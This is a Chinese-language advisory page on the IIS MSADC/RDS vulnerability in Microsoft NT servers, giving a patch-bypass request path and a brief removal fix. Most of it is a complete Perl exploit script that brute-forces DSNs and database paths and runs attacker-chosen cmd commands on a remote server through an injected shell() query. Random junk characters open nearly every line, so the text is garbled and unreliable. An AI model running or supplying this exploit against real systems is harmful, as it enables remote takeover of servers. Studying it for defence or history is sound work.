IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
$ 8s&=OW nv={.H 涉及程序：
975KRnj Microsoft NT server
rpvm ].4 L:31toGK 描述：
_T1e##Sq, 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
y
Le5, Cs$g]&a 详细：
t 6tqv 如果你没有时间读详细内容的话，就删除:
#(7OvW+y c:\Program Files\Common Files\System\Msadc\msadcs.dll
]b[ 3 th* 有关的安全问题就没有了。
}.Ug`7%G % V$^CWOy 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
hX^XtIC= R75sK(oS 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
54k
Dez 关于利用ODBC远程漏洞的描述，请参看:
>+1bTt/-F TnC'<zm9 ! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )TLDNpH?J uJ%ql5XDV 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
=Ij;I~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp Uc/%4Gx v;OA hF r| 这里不再论述。
I;No++N0 3[c54S+(U 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
3KqylC &. zpY8w#b /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
qRr;&M &t_ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
M|\ XFO qU}[( 9~Ru g ,.iM8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
wBr0s *1I Z$q}y
79^ #!perl
J9o ]$.e #
/rquI y^ # MSADC/RDS 'usage' (aka exploit) script
#PiW\Tq #
6pH.sX$!_ # by rain.forest.puppy
2 nf{2edC #
6(eyUgnb # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)!0>2,R1 # beta test and find errors!
U+\\#5$ uG/Zpi use Socket; use Getopt::Std;
S2`p&\Ifn getopts("e:vd:h:XR", \%args);
Ts.6 1Rx oRC j]9I$ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
XX+4X*(o ^mH^cP?/ if (!defined $args{h} && !defined $args{R}) {
G-Y8<mEh print qq~
Baq&>] Usage: msadc.pl -h <host> { -d <delay> -X -v }
s01n[jQ -h <host> = host you want to scan (ip or domain)
x]F:~(P -d <seconds> = delay between calls, default 1 second
M]oaWQu -X = dump Index Server path table, if available
PJ);d>tz -v = verbose
V
] Z{0 -e = external dictionary file for step 5
gI[x O K# q$\KE4v " Or a -R will resume a command session
7r:!HmRl Zb@PwH4 ~; exit;}
/: B!hvpw >2%!=q3) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
R@;kY S if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Z5v\[i@H! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
SoCa_9*X if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;XANIT V $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Nl0*"}`I_ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}e1f kjWk gVb;sk^ if (!defined $args{R}){ $ret = &has_msadc;
P#iBwmwN+. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
yAaMYF@ U1I2+ ;"#A print "Please type the NT commandline you want to run (cmd /c assumed):\n"
y<kW2 <? . "cmd /c ";
oh|Q&R $in=<STDIN>; chomp $in;
'v?Z~"w= $command="cmd /c " . $in ;
t X)^$3A :
x W.(^(d if (defined $args{R}) {&load; exit;}
|'.\}xt7 BjSLbw-C print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
)[>{
Ie2 &try_btcustmr;
Py K)ks! 6 >Ka}v:E print "\nStep 2: Trying to make our own DSN...";
u1rT:\G1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
rxt)l ?n E<Aig print "\nStep 3: Trying known DSNs...";
uq'T: d &known_dsn;
A3MVNz$wo" bIR7g(PJ.b print "\nStep 4: Trying known .mdbs...";
Rkgpa/te" &known_mdb;
FK<1SOE r"c<15g2' if (defined $args{e}){
=5J}CPKbZI print "\nStep 5: Trying dictionary of DSN names...";
EP ,lT.u3 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
n {aD4& OLTgB Xh print "Sorry Charley...maybe next time?\n";
'V/+v #V+> exit;
eX>x
+]l6 U 8 '}( ##############################################################################
TF2'-"2Y h<JV6h :8 sub sendraw { # ripped and modded from whisker
C`Zz\DNG@ sleep($delay); # it's a DoS on the server! At least on mine...
&Yb!j my ($pstr)=@_;
O(#DaFJv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
icH\( die("Socket problems\n");
^i:%0"[*^i if(connect(S,pack "SnA4x8",2,80,$target)){
qi!+ Ceo} select(S); $|=1;
w6aq/m "' print $pstr; my @in=<S>;
G?*)0`~W select(STDOUT); close(S);
lG6P+ Z/nf return @in;
'a[| ' } else { die("Can't connect...\n"); }}
t[ cHdI @X5F$=aqZr ##############################################################################
d[=~- [ JYc;6p$<i sub make_header { # make the HTTP request
R ` my $msadc=<<EOT
c <Fr^8 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/?Vwo SgV^ User-Agent: ACTIVEDATA
>8PGyc*9 Host: $ip
vq=nG]cE) Content-Length: $clen
EZypqe):/C Connection: Keep-Alive
+8h!@ XcL jUz ? ADCClientVersion:01.06
q8#zv_>K Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
3RJsH :u8 vq/3a --!ADM!ROX!YOUR!WORLD!
(l}W\iB' d Content-Type: application/x-varg
'*lVVeSiFw Content-Length: $reqlen
>cw%ckE gaV>WF EOT
wl7G6Y2 ; $msadc=~s/\n/\r\n/g;
Lh\ 1L return $msadc;}
m9M#)< @* P:KS* lOp ##############################################################################
d;@"Naw ~HBQQt sub make_req { # make the RDS request
VUmf;~ my ($switch, $p1, $p2)=@_;
cao=O
\Y7 my $req=""; my $t1, $t2, $query, $dsn;
%?2y2O ,; FLUvFD if ($switch==1){ # this is the btcustmr.mdb query
~xCv_u^= $query="Select * from Customers where City=" . make_shell();
2+s#5K&i $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
owQSy9Az $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
zo83>bt P@|
W \ elsif ($switch==2){ # this is general make table query
$Y`oqw?g+^ $query="create table AZZ (B int, C varchar(10))";
JCO+_d#x $dsn="$p1";}
Gu@n1/m@o 37<^Oly! elsif ($switch==3){ # this is general exploit table query
%>Q[j`9y $query="select * from AZZ where C=" . make_shell();
c]}F$[>oN' $dsn="$p1";}
?&U g"$v XSHK7vpMf elsif ($switch==4){ # attempt to hork file info from index server
N(s5YX7<hd $query="select path from scope()";
wAD%1; $dsn="Provider=MSIDXS;";}
l$ Y*ii pT|l "q@ elsif ($switch==5){ # bad query
[eLMb)n $query="select";
aGBUFCCa $dsn="$p1";}
u43W.4H13 [|&#A;{F# $t1= make_unicode($query);
G9_7jX* $t2= make_unicode($dsn);
/Ixv{H)H $req = "\x02\x00\x03\x00";
f*o+g:]3 $req.= "\x08\x00" . pack ("S1", length($t1));
r:3h 2J[_ $req.= "\x00\x00" . $t1 ;
\:-"? $req.= "\x08\x00" . pack ("S1", length($t2));
u4x>gRz) $req.= "\x00\x00" . $t2 ;
A hk q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
xB`j*
% return $req;}
}i$ER,hXh QZ&
4W ##############################################################################
WA((>Daf] z94#:jPmG sub make_shell { # this makes the shell() statement
k:[T#/; return "'|shell(\"$command\")|'";}
V!\'7 -[R InA=ty]"_U ##############################################################################
|W*#N8I P ?`T Q'#P` sub make_unicode { # quick little function to convert to unicode
L8,/ my ($in)=@_; my $out;
0@ yw#.j for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Q@ua
G,6 return $out;}
\& /V p`
X6<Ds'I ##############################################################################
l#IN)">1 YJGP8 sub rdo_success { # checks for RDO return success (this is kludge)
otA'+4\ my (@in) = @_; my $base=content_start(@in);
G4rd<V0[D if($in[$base]=~/multipart\/mixed/){
^ u(-v/D9 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
" %
l`` return 0;}
[>D5(O E5q t~:C| ##############################################################################
IN_O!c0e Z H2 sub make_dsn { # this makes a DSN for us
}2h! my @drives=("c","d","e","f");
~^bf1W[ print "\nMaking DSN: ";
LEuDDJ - foreach $drive (@drives) {
x 3:d/>b print "$drive: ";
ZiW&*nN?M
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
i^@hn>s$ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|@5G\N - . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`*WzHDv5p $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
IY
hwFw
5O return 0 if $2 eq "404"; # not found/doesn't exist
} _=h]|6t if($2 eq "200") {
NY?pvb foreach $line (@results) {
'i <%kL@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
m
yy*rt } return 0;}
KwNOB _ 0SR[)ma ##############################################################################
& LhQr-g -e O> d} sub verify_exists {
U1Y0G[i) my ($page)=@_;
k%R(Qga my @results=sendraw("GET $page HTTP/1.0\n\n");
qnFg7X>C, return $results[0];}
c+{ ar^)* W2 {4s
1 ##############################################################################
^EJ]L Nk } vddl9"V) sub try_btcustmr {
C<#_1@^:8e my @drives=("c","d","e","f");
h t3 P@; my @dirs=("winnt","winnt35","winnt351","win","windows");
=6a=`3r!I G/ H>M%M foreach $dir (@dirs) {
qND:LP\_v print "$dir -> "; # fun status so you can see progress
SohNk9u[8 foreach $drive (@drives) {
E|3[$ ?=R print "$drive: "; # ditto
/ hg)=p $reqlen=length( make_req(1,$drive,$dir) ) - 28;
r{{5@ $reqlenlen=length( "$reqlen" );
.P#t"oW} $clen= 206 + $reqlenlen + $reqlen;
+
B<7]\\M N 6Dv1_c, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
MU4 BAN if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
87F]a3 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
e=+q*]> :w]NN \ ##############################################################################
v} \Fbe T|p%4hH sub odbc_error {
r 6&+pSA> my (@in)=@_; my $base;
@^%YOorr my $base = content_start(@in);
g_@b- :$Yq if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
W=y9mW|p/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y() ZM $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s<;{q+1# $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cv;2zq=T return $in[$base+4].$in[$base+5].$in[$base+6];}
YZAQ t* x print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<qVOd.9c print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
HQSFl=Q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
\*M;W|8aB O> >/2V9 ##############################################################################
\ E6 0 {]%7-4E sub verbose {
-Un"z6* my ($in)=@_;
uqVar Ri$ return if !$verbose;
CDY3 +! print STDOUT "\n$in\n";}
3L-$+j~u 'Z|Czd8E ##############################################################################
^ U) ;MH8 O;$}j:;KF sub save {
<kJ`qbOU my ($p1, $p2, $p3, $p4)=@_;
|9Y~k,rF open(OUT, ">rds.save") || print "Problem saving parameters...\n";
W6RjQ1 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{8 &=t8,c close OUT;}
vXZ
) \O]kf>nC ##############################################################################
Qb7&S5m RBHU5]5 sub load {
N/[!$B0H@ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nbW.x7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
\~r_S @p=<IN>; close(IN);
8?rq{&$t $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
|n;5D,r0C $target= inet_aton($ip) || die("inet_aton problems");
C)~%(< D print "Resuming to $ip ...";
OnyAM{$g $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
T+PERz( if($p[1]==1) {
~>Y^?l $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Q3'P< "u $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
q ;#bFPh my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
-v:3#9uX) if (rdo_success(@results)){print "Success!\n";}
Md0`/F:+2 else { print "failed\n"; verbose(odbc_error(@results));}}
3[@:I^q elsif ($p[1]==3){
2Sk hBb=d if(run_query("$p[3]")){
|"[;0)dw^ print "Success!\n";} else { print "failed\n"; }}
VtMn LF Mw elsif ($p[1]==4){
$
nMx#~ >a if(run_query($drvst . "$p[3]")){
r ?|(t? print "Success!\n"; } else { print "failed\n"; }}
g-H,*^g+ exit;}
QVah4wFL*. GP x+]Jw8\ ##############################################################################
:UX8^+bfZ -c{ Y+M` sub create_table {
'$VP\Gj. my ($in)=@_;
[+
: zlA $reqlen=length( make_req(2,$in,"") ) - 28;
IR?nH`V $reqlenlen=length( "$reqlen" );
>QPCYo<E $clen= 206 + $reqlenlen + $reqlen;
]bbP_n8 my @results=sendraw(make_header() . make_req(2,$in,""));
3N dO3-~) return 1 if rdo_success(@results);
E&Zt<pRf;2 my $temp= odbc_error(@results); verbose($temp);
fl4 0jo] return 1 if $temp=~/Table 'AZZ' already exists/;
8@){\.M return 0;}
a
p( PI?]X
'*EK i ##############################################################################
[x-
9m\h 1@}<CWE9 sub known_dsn {
ERIF#EY # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Js.G
hTs my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
+ Hj SU2 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Zad>i w} "banner", "banners", "ads", "ADCDemo", "ADCTest");
S_^;# =_c =iB$4d2 foreach $dSn (@dsns) {
;Zc0imYL print ".";
Ezt uVe next if (!is_access("DSN=$dSn"));
:;IZ|hU if(create_table("DSN=$dSn")){
L=.@hs print "$dSn successful\n";
6 G(K8Q{> if(run_query("DSN=$dSn")){
9ph>4u(R print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(4IP&^j:\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
;kZJnN"y Q(R -8" ##############################################################################
?X\ uzu n]nJ$u1u sub is_access {
)TBm?VMe my ($in)=@_;
l\!`Z hM, $reqlen=length( make_req(5,$in,"") ) - 28;
Fu% n8 $reqlenlen=length( "$reqlen" );
> "z`))9 $clen= 206 + $reqlenlen + $reqlen;
FE:} D ;$ my @results=sendraw(make_header() . make_req(5,$in,""));
^W`RBrJay my $temp= odbc_error(@results);
xgtx5tg verbose($temp); return 1 if ($temp=~/Microsoft Access/);
LoSrXK~0~J return 0;}
'j?H >'t{ of > ##############################################################################
=L;g:hc< 7mn&w$MS4: sub run_query {
sQ&<cBs2 my ($in)=@_;
C0khG9,BL $reqlen=length( make_req(3,$in,"") ) - 28;
7W+{U0 2O $reqlenlen=length( "$reqlen" );
'}OAl $clen= 206 + $reqlenlen + $reqlen;
iG"1~/U my @results=sendraw(make_header() . make_req(3,$in,""));
E_P,>f return 1 if rdo_success(@results);
Pj* ]%V my $temp= odbc_error(@results); verbose($temp);
|h&okR+_, return 0;}
JUJrtK S di ]CYLf ##############################################################################
bx Wzm| dnM. sub known_mdb {
xa 967Ki9" my @drives=("c","d","e","f","g");
gt=@v()) my @dirs=("winnt","winnt35","winnt351","win","windows");
P,7R/-u 5D my $dir, $drive, $mdb;
jF(R;?, my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_bv9/# tR 7f*b5$+r # this is sparse, because I don't know of many
|o ^mg9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
j'Gezx^.<e "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Zeq^dV5y77 "\\system32\\certmdb.mdb",
tVNFulcz$ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
^* CKx p
S| my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Xi~I<& "\\cfusion\\cfapps\\forums\\forums_.mdb",
w}M)]kY "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
K.}jyhKIKi "\\cfusion\\cfapps\\security\\realm_.mdb",
4tvZJS
hV "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:c(I-xif "\\cfusion\\database\\cfexamples.mdb",
]
p v! Ll "\\cfusion\\database\\cfsnippets.mdb",
]4'V59\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
q4v Hsy36 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
'$4&q629d "\\cfusion\\brighttiger\\database\\cleam.mdb",
OL GMy5 "\\cfusion\\database\\smpolicy.mdb",
@Y ?p-& "\\cfusion\\database\cypress.mdb",
&KV$x3 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
B- |C%~fe "\\website\\cgi-win\\dbsample.mdb",
c0_5 12 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
H2+V1J= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
%/}d' WJR ); #these are just
\ _)mWK,h foreach $drive (@drives) {
p77=~s foreach $dir (@dirs){
'*`1uomeo foreach $mdb (@sysmdbs) {
zQB1C print ".";
oHF ,k if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4F!%mMq print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
l=a< = i if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
hn$jI5*` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
YWDd[\4 } else { print "Something's borked. Use verbose next time\n"; }}}}}
&x@N5j5Q <! *O[0s foreach $drive (@drives) {
@mcP- foreach $mdb (@mdbs) {
=`!# V/= print ".";
\SWuylE if(create_table($drv . $drive . $dir . $mdb)){
!nQoz^_`P print "\n" . $drive . $dir . $mdb . " successful\n";
bkm: #K if(run_query($drv . $drive . $dir . $mdb)){
51;Bc[)% print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
eMP0BS" } else { print "Something's borked. Use verbose next time\n"; }}}}
Bi0&F1ZC! }
vCtnjWGX}/ \.F|c ##############################################################################
;Wn0-`_1, y+7A?"s) sub hork_idx {
>QB Dxm print "\nAttempting to dump Index Server tables...\n";
Hx9lQ8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@[5] ?8\o $reqlen=length( make_req(4,"","") ) - 28;
/1hcw|cfC $reqlenlen=length( "$reqlen" );
BtQqUk#L2 $clen= 206 + $reqlenlen + $reqlen;
L f;Uv[^c my @results=sendraw2(make_header() . make_req(4,"",""));
|9)y<}c5oM if (rdo_success(@results)){
_1jeaV9@ my $max=@results; my $c; my %d;
ph3dm\U. for($c=19; $c<$max; $c++){
C2L=i3R $results[$c]=~s/\x00//g;
JycC\s+%E $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
DRRy5+,I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}9Q<<a $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#BI6+rfv| $d{"$1$2"}="";}
, lBHA+@ foreach $c (keys %d){ print "$c\n"; }
x 139Ckn } else {print "Index server doesn't seem to be installed.\n"; }}
/f> I;z1 /vqsp0e"H ##############################################################################
3B4C@ { 7V"Jfh4_ sub dsn_dict {
H$,wg!kY! open(IN, "<$args{e}") || die("Can't open external dictionary\n");
~S0T+4$ while(<IN>){
l i%8X . $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
\'B%lXh next if (!is_access("DSN=$dSn"));
|e2s{J2 if(create_table("DSN=$dSn")){
fh&Q(:ZU print "$dSn successful\n";
!6J+# if(run_query("DSN=$dSn")){
Enhrkk print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
O5JG!bGE_F print "Something's borked. Use verbose next time\n";}}}
q=k[] vD print "\n"; close(IN);}
:eSwXDy& KPa@~rU ##############################################################################
- ysd`& raZ0B,;eFu sub sendraw2 { # ripped and modded from whisker
)+a]M1j sleep($delay); # it's a DoS on the server! At least on mine...
}5u; '>$ my ($pstr)=@_;
? cD_\~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GJB MaT die("Socket problems\n");
nwJ c%0 if(connect(S,pack "SnA4x8",2,80,$target)){
? Lr:> print "Connected. Getting data";
WAVEwA`r open(OUT,">raw.out"); my @in;
?'OL2 ~ select(S); $|=1; print $pstr;
ro^T L while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
a*o k*r close(OUT); select(STDOUT); close(S); return @in;
eGI&4JgJ. } else { die("Can't connect...\n"); }}
"':SWKuMx (U*Zz+ R ##############################################################################
J*qo3aJjE 8qs 8QK sub content_start { # this will take in the server headers
rU7t~DKS my (@in)=@_; my $c;
9|>5;Ej for ($c=1;$c<500;$c++) {
T{Yk/Z/}? if($in[$c] =~/^\x0d\x0a/){
*35o$P46 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!6*4^$i#o else { return $c+1; }}}
'>% c@C[ return -1;} # it should never get here actually
h6e,w$IL p5bM/{DP;K ##############################################################################
dg;E,'e_
p {G _|gs sub funky {
H &0S my (@in)=@_; my $error=odbc_error(@in);
4$4n9`odE if($error=~/ADO could not find the specified provider/){
.u;'eVH)a} print "\nServer returned an ADO miscofiguration message\nAborting.\n";
^I !gteU; exit;}
t\lx*_lr if($error=~/A Handler is required/){
7 '7a`-W print "\nServer has custom handler filters (they most likely are patched)\n";
\3cg\Q+~ exit;}
OLDEB.@ if($error=~/specified Handler has denied Access/){
UG,n
q print "\nServer has custom handler filters (they most likely are patched)\n";
{A LOs^ _- exit;}}
-V}ZbXJD mC E Wp ##############################################################################
CdiL{zH\3 4?~Ei[KgQn sub has_msadc {
#EO] ,!JM my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'59l. my $base=content_start(@results);
liVDBbS_A? return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
i$4lBy_2 return 0;}
q<A,S8'm 7x`4P|Uu ########################
,+RoJwi m L9 H.DNA _2Fa .gi 解决方案：
f 2{qj5 K 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
#pX +~ { 2、移除web 目录: /msadc
